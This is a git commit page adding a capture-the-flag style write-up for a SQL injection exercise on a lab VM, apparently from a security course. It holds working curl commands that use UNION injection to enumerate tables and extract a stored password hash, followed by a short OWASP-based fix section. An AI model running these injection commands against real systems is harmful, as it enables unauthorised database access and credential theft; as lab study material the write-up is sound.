aboutsummaryrefslogtreecommitdiffstats
path: root/SQL injection 1/Resources/notes.md
diff options
context:
space:
mode:
authorThomas Vanbesien <tvanbesi@proton.me>2026-03-30 10:35:18 +0200
committerThomas Vanbesien <tvanbesi@proton.me>2026-03-30 10:35:18 +0200
commit60182e2e8b01466e8eec43ec1ed02c52e53bd6b3 (patch)
tree2b51a56021a834c19d77682c97c9b2fb77102c34 /SQL injection 1/Resources/notes.md
parentb76d181b47d23caeae2c1aaed7b677eb239cfb3d (diff)
downloaddarkly-60182e2e8b01466e8eec43ec1ed02c52e53bd6b3.tar.gz
darkly-60182e2e8b01466e8eec43ec1ed02c52e53bd6b3.zip
Add SQL injection solutions x2
Diffstat (limited to 'SQL injection 1/Resources/notes.md')
-rw-r--r--SQL injection 1/Resources/notes.md33
1 files changed, 33 insertions, 0 deletions
diff --git a/SQL injection 1/Resources/notes.md b/SQL injection 1/Resources/notes.md
new file mode 100644
index 0000000..3292f86
--- /dev/null
+++ b/SQL injection 1/Resources/notes.md
@@ -0,0 +1,33 @@
+## Exploit
+
+1. At `http://10.0.2.15/?page=member` we can inject SQL. Using an empty input and we see the error `You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1` so we can assume the SQL query is shaped like `… WHERE id=<our input>`
+1. Try to `SELECT` everything with a `UNION`:
+ ```bash
+ ❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode 'id=5 UNION SELECT * FROM users'
+ …
+ <pre>The used SELECT statements have a different number of columns</pre>
+ ```
+1. From the previous output we try an increasing number of placeholders to deduce that the original query uses two columns:
+ ```bash
+ ❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode 'id=5 UNION SELECT 1,2 FROM users'
+ ```
+1. We get a list of all columns of all tables in the database:
+ ```bash
+ ❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT column_name, table_name FROM information_schema.columns" | sed 's/<pre>/\
+ /g' | grep --only-matching "First name:.*"
+ ```
+1. After trying a bunch of them we see that `Commentaire` and `countersign` hold a clue and a hashed password:
+ ```bash
+ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT Commentaire, countersign FROM users" | sed 's/<pre>/\
+ /g | grep --only-matching "First name:.*"
+ …
+ First name: Decrypt this password -> then lower all the char. Sh256 on it and it's good !<br>Surname : 5ff9d0165b4f92b14994e5c685cdce28</pre><table width=50%>
+ ```
+1. `5ff9d0165b4f92b14994e5c685cdce28` reverse md5 lookup → "FortyTwo" → lowercase → "fortytwo" → `echo -n fortytwo | sha256sum`
+
+## Fix
+
+[https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection]()
+
+- Don't show SQL errors on the front-end because it gives attackers clues about the database and the queries that can be used to exploit them
+- Don't include untrusted, unfiltered and/or unsanitized input into a SQL query